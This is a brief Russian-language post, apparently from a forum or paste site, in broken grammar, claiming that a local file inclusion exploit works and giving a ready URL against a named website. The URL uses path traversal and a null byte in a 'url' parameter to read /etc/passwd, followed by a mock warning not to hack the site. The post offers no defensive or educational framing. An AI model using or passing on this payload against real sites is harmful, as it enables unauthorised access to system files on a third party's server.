эксплуатировать эту работает хорошо на локальный файл включения

http://allshares.ge/cross.php?url=../../../../../../../../etc/passwd%00

Не взломать этот сайт!!!